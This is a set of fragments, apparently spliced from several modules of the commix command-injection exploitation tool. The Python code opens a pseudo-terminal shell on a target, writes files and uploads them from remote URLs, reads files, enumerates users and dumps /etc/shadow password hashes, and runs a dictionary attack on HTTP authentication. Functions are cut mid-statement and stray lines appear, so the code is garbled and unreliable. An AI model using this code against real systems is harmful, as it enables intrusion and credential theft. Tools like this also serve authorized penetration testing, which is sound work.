if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(
separator, payload, TAG, cmd,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(
url, OUTPUT_TEXTFILE,
timesec)
shell = "".join(
str(p) for p in shell)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(
err_msg) + "\n"
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
def create_github_issue(err_msg, exc_msg):
_ = re.sub(r"'[^']+'", "''", exc_msg)
_ = re.sub(r"\s+line \d+", "", _)
_ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
_ = re.sub(r".+\Z", "", _)
_ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _)
_ = re.sub(r"= _", "= ", _)
_ = _.encode(settings.UNICODE_ENCODING)
key = hashlib.md5(_).hexdigest()[:8]
while True:
try:
if not menu.options.batch:
question_msg = "Do you want to automatically create a new (anonymized) issue "
question_msg += "with the unhandled exception information at "
question_msg += "the official Github repository? [y/N] "
choise = _input(settings.print_question_msg(question_msg))
else:
choise = ""
if len(choise) == 0:
choise = "n"
if choise in settings.CHOICE_YES:
break
elif choise in settings.CHOICE_NO:
print("")
return
else:
err_msg = "'" + choise + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except:
print("\n")
raise SystemExit()
err_msg = err_msg[err_msg.find("\n"):]
req = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \
_urllib.parse.quote("repo:commixproject/commix" + " " + "Unhandled exception (#" + str(key) + ")")
)
try:
content = _urllib.request.urlopen(req).read()
_ = json.loads(content)
duplicate = _["total_count"] > 0
closed = duplicate and _["items"][0]["state"] == "closed"
if duplicate:
warn_msg = "That issue seems to be already reported"
if closed:
warn_msg += " and resolved. Please update to the latest "
warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'"
warn_msg += ".\n"
print(settings.print_warning_msg(warn_msg))
return
except:
pass
data = {
"title": "Unhandled exception (#" + str(key) + ")",
"body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"
}
req = _urllib.request.Request(
url="https://api.github.com/repos/commixproject/commix/issues",
data=data.encode(json.dumps(data)),
headers={
"Authorization":
"token " + base64.b64decode(
settings.GITHUB_REPORT_OAUTH_TOKEN.encode(
settings.UNICODE_ENCODING)).decode()
})
try:
content = _urllib.request.urlopen(req).read()
except Exception as err:
content = None
issue_url = re.search(
r"https://github.com/commixproject/commix/issues/\d+", content or "")
if issue_url:
info_msg = "The created Github issue can been found at the address '" + str(
issue_url.group(0)) + "'.\n"
print(settings.print_info_msg(info_msg))
else:
warn_msg = "Something went wrong while creating a Github issue."
if "Unauthorized" in str(err):
warn_msg += " Please update to the latest revision.\n"
print(settings.print_warning_msg(warn_msg))
url, auth_type.lower())
except:
stored_auth_creds = False
if stored_auth_creds:
menu.options.auth_cred = stored_auth_creds
success_msg = "Identified a valid pair of credentials '"
success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'."
print settings.print_success_msg(success_msg)
else:
# Basic authentication
if menu.options.auth_type == "basic":
if not menu.options.ignore_401:
warn_msg = "(" + menu.options.auth_type.capitalize(
) + ") "
warn_msg += "HTTP authentication credentials are required."
print settings.print_warning_msg(warn_msg)
while True:
question_msg = "Do you want to perform a dictionary-based attack? [Y/n/q] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
do_update = sys.stdin.readline(
).replace("\n", "").lower()
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(
url, realm)
if auth_creds != False:
menu.options.auth_cred = auth_creds
settings.REQUIRED_AUTHENTICATION = True
break
else:
def do_check(request):
# Check if defined any Host HTTP header.
if menu.options.host and settings.HOST_INJECTION == None:
request.add_header('Host', menu.options.host)
# Check if defined any User-Agent HTTP header.
if menu.options.agent:
request.add_header('User-Agent', menu.options.agent)
# Check if defined any Referer HTTP header.
if menu.options.referer and settings.REFERER_INJECTION == None:
request.add_header('Referer', menu.options.referer)
# Check if defined any Cookie HTTP header.
if menu.options.cookie and settings.COOKIE_INJECTION == False:
request.add_header('Cookie', menu.options.cookie)
# Check if defined any HTTP Authentication credentials.
# HTTP Authentication: Basic / Digest Access Authentication.
if not menu.options.ignore_401:
if menu.options.auth_cred and menu.options.auth_type:
try:
settings.SUPPORTED_HTTP_AUTH_TYPES.index(
menu.options.auth_type)
if menu.options.auth_type == "basic":
b64_string = base64.encodestring(
menu.options.auth_cred).replace('\n', '')
request.add_header("Authorization",
"Basic " + b64_string + "")
elif menu.options.auth_type == "digest":
try:
url = menu.options.url
try:
response = urllib2.urlopen(url)
except urllib2.HTTPError, e:
try:
authline = e.headers.get(
'www-authenticate', '')
authobj = re.match('''(\w*)\s+realm=(.*),''',
authline).groups()
realm = authobj[1].split(',')[0].replace(
"\"", "")
user_pass_pair = menu.options.auth_cred.split(
":")
username = user_pass_pair[0]
password = user_pass_pair[1]
authhandler = urllib2.HTTPDigestAuthHandler()
authhandler.add_password(
realm, url, username, password)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
result = urllib2.urlopen(url)
except AttributeError:
pass
except urllib2.HTTPError, e:
pass
except ValueError:
err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'."
err_msg += " Try basic or digest HTTP authentication type."
print settings.print_critical_msg(err_msg)
sys.exit(0)
else:
pass
# The MIME media type for JSON.
if settings.IS_JSON:
request.add_header("Content-Type", "application/json")
# Check if defined any extra HTTP headers.
if menu.options.headers or menu.options.header:
# Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided.
if menu.options.headers:
menu.options.headers = checks.wildcard_character(
menu.options.headers)
extra_headers = menu.options.headers
else:
menu.options.header = checks.wildcard_character(
menu.options.header)
extra_headers = menu.options.header
extra_headers = extra_headers.replace(":", ": ")
if ": //" in extra_headers:
extra_headers = extra_headers.replace(": //", "://")
if "\\n" in extra_headers:
extra_headers = extra_headers.split("\\n")
# Remove empty strings
extra_headers = [x for x in extra_headers if x]
if menu.options.header and not menu.options.headers and len(
extra_headers) > 1:
warn_msg = "Swithing '--header' to '--headers' "
warn_msg += "due to multiple extra HTTP headers."
print settings.print_warning_msg(warn_msg)
else:
tmp_extra_header = []
tmp_extra_header.append(extra_headers)
extra_headers = tmp_extra_header
for extra_header in extra_headers:
# Extra HTTP Header name
http_header_name = re.findall(r"(.*): ", extra_header)
http_header_name = ''.join(http_header_name).strip()
# Extra HTTP Header value
http_header_value = re.findall(r":(.*)", extra_header)
http_header_value = ''.join(http_header_value).strip()
# Check if it is a custom header injection.
if settings.CUSTOM_HEADER_INJECTION == False and \
settings.INJECT_TAG in http_header_value:
settings.CUSTOM_HEADER_INJECTION = True
settings.CUSTOM_HEADER_NAME = http_header_name
request.add_header(http_header_name, http_header_value)
def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
err_msg = ""
if menu.enumeration_options():
err_msg += "enumeration"
if menu.file_access_options():
if err_msg != "":
err_msg = err_msg + " and "
err_msg = err_msg + "file-access"
if err_msg != "":
warn_msg = "The " + err_msg + " options are not supported "
warn_msg += "by this module because of the structure of the exfiltrated data. "
warn_msg += "Please try using any unix-like commands manually."
print(settings.print_warning_msg(warn_msg))
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell= "Y"
if gotshell in settings.CHOICE_YES:
print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "back":
print("")
os._exit(0)
elif cmd.lower() == "?":
menu.os_shell_options()
elif cmd.lower() == "os_shell":
warn_msg = "You are already into the '" + cmd.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))+ "\n"
elif cmd.lower() == "reverse_tcp":
warn_msg = "This option is not supported by this module."
print(settings.print_warning_msg(warn_msg))+ "\n"
else:
# Command execution results.
cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src)
except KeyboardInterrupt:
os._exit(1)
except:
print("")
os._exit(0)
elif gotshell in settings.CHOICE_NO:
print("")
os._exit(0)
elif gotshell in settings.CHOICE_QUIT:
print("")
os._exit(0)
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
def examine_request(request):
try:
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
return proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
return tor.use_tor(request)
else:
try:
response = _urllib.request.urlopen(request,
timeout=settings.TIMEOUT)
return response
except ValueError:
# Invalid format for the '--header' option.
if settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'"
err_msg += "to provide an extra HTTP header or"
err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' "
err_msg += "if you want to try to exploit the provided HTTP header."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except Exception as err_msg:
if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
pass
elif menu.options.auth_type and menu.options.auth_cred:
err_msg = "The provided pair of " + menu.options.auth_type
err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
err_msg += " seems to be invalid."
err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
err_msg += " in order to perform a dictionary-based attack."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
pass
else:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg).replace(": ", " (") + ")."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
except SocketError as e:
if e.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
print(settings.print_critical_msg(error_msg))
elif e.errno == errno.ECONNREFUSED:
error_msg = "Connection refused."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
except _urllib.error.HTTPError as err_msg:
error_description = ""
if len(str(err_msg).split(": ")[1]) == 0:
error_description = "Non-standard HTTP status code"
err_msg = str(err_msg).replace(": ", " (") + error_description + ")."
if menu.options.bulkfile:
warn_msg = "Skipping URL '" + url + "' - " + err_msg
print(settings.print_warning_msg(warn_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
else:
print(settings.print_critical_msg(err_msg))
raise SystemExit
except _urllib.error.URLError as e:
err_msg = "Unable to connect to the target URL"
try:
err_msg += " (" + str(e.args[0]).split("] ")[1] + ")."
except IndexError:
err_msg += "."
pass
if menu.options.bulkfile:
err_msg = "Skipping URL '" + url + "' - " + err_msg
print(settings.print_critical_msg(err_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
else:
print(settings.print_critical_msg(err_msg))
raise SystemExit
def file_access(url, cve, check_header, filename):
#-------------------------------------
# Write to a file on the target host.
#-------------------------------------
if menu.options.file_write:
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
#-------------------------------
# Check the file-destination
#-------------------------------
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'"
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
# Check if file exists!
cmd = "ls " + dest_to_write + ""
# Check if defined cookie injection.
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
success_msg = "The " + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + " file was created successfully!"
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to write the '"
warn_msg += dest_to_write + "' file." + "\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
#-------------------------------------
# Upload a file on the target host.
#-------------------------------------
if menu.options.file_upload:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload)
except _urllib.error.HTTPError as warn_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, "
warn_msg += "does not exist. (" + str(warn_msg) + ")\n"
sys.stdout.write(settings.print_critical_msg(warn_msg))
sys.stdout.flush()
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
# Check if file exists!
cmd = "ls " + dest_to_upload
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
if shell:
success_msg = "The " + shell
success_msg += Style.RESET_ALL + Style.BRIGHT
success_msg += " file was uploaded successfully!\n"
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to write the '" + dest_to_upload + "' file.\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
#-------------------------------------
# Read a file from the target host.
#-------------------------------------
if menu.options.file_read:
file_to_read = menu.options.file_read
# Execute command
cmd = "cat " + settings.FILE_READ + file_to_read
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
success_msg = "The contents of file '"
success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
print(shell)
output_file = open(filename, "a")
success_msg = "The contents of file '"
success_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file.\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
if settings.FILE_ACCESS_DONE == True:
print("")
def enumeration(url, cve, check_header, filename):
#-------------------------------
# Hostname enumeration
#-------------------------------
if menu.options.hostname:
cmd = settings.HOSTNAME
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
success_msg = "The hostname is " + str(shell)
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The hostname is " + str(shell) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
#-------------------------------
# Retrieve system information
#-------------------------------
if menu.options.sys_info:
cmd = settings.RECOGNISE_OS
target_os, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_os:
if target_os == "Linux":
cmd = settings.DISTRO_INFO
distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename)
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
cmd = settings.RECOGNISE_HP
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_arch:
success_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + str(target_os)
success_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
success_msg = "The target operating system is " + target_os
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + str(target_os) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
#-------------------------------
# The current user enumeration
#-------------------------------
if menu.options.current_user:
cmd = settings.CURRENT_USER
cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename)
if cu_account:
if menu.options.is_root:
cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT)
cmd = ''.join(cmd).replace("(","").replace(")","")
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
success_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_success_msg(success_msg))
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + str(cu_account)
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
if shell:
if shell != "0":
sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
success_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + str(cu_account) + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
#-------------------------------
# System users enumeration
#-------------------------------
if menu.options.users:
cmd = settings.SYS_USERS
sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1 :
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE
warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file."
print("\n" + settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
sys.stdout.write(settings.SUCCESS_STATUS)
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " in '" + settings.PASSWD_FILE + "'.\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else :
is_privileged = ""
is_privileged_nh = ""
else :
is_privileged = ""
is_privileged_nh = ""
print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
warn_msg = "It seems that '" + settings.PASSWD_FILE
warn_msg += "' file is not in the appropriate format. "
warn_msg += "Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write(settings.FAIL_STATUS + "\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
settings.ENUMERATION_DONE = True
#-------------------------------------
# System password enumeration
#-------------------------------------
if menu.options.passwords:
cmd = settings.SYS_PASSES
sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
info_msg = "Fetching '" + settings.SHADOW_FILE
info_msg += "' to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys.stdout.write(settings.SUCCESS_STATUS)
success_msg = "Identified " + str(len(sys_passes))
success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
success_msg += " in '" + settings.SHADOW_FILE + "'.\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate (/etc/shadow) format
except IndexError:
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE
warn_msg += "' file is not in the appropriate format. "
warn_msg += "Thus, it is expoted as a text file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
print(fields[0])
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Evaluate injection results.
cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE,
timesec)
cu_account = "".join(str(p) for p in cu_account)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd,
vuln_parameter)
if cu_account:
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE,
timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
success_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_success_msg(success_msg))
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + str(cu_account)
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
if shell:
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
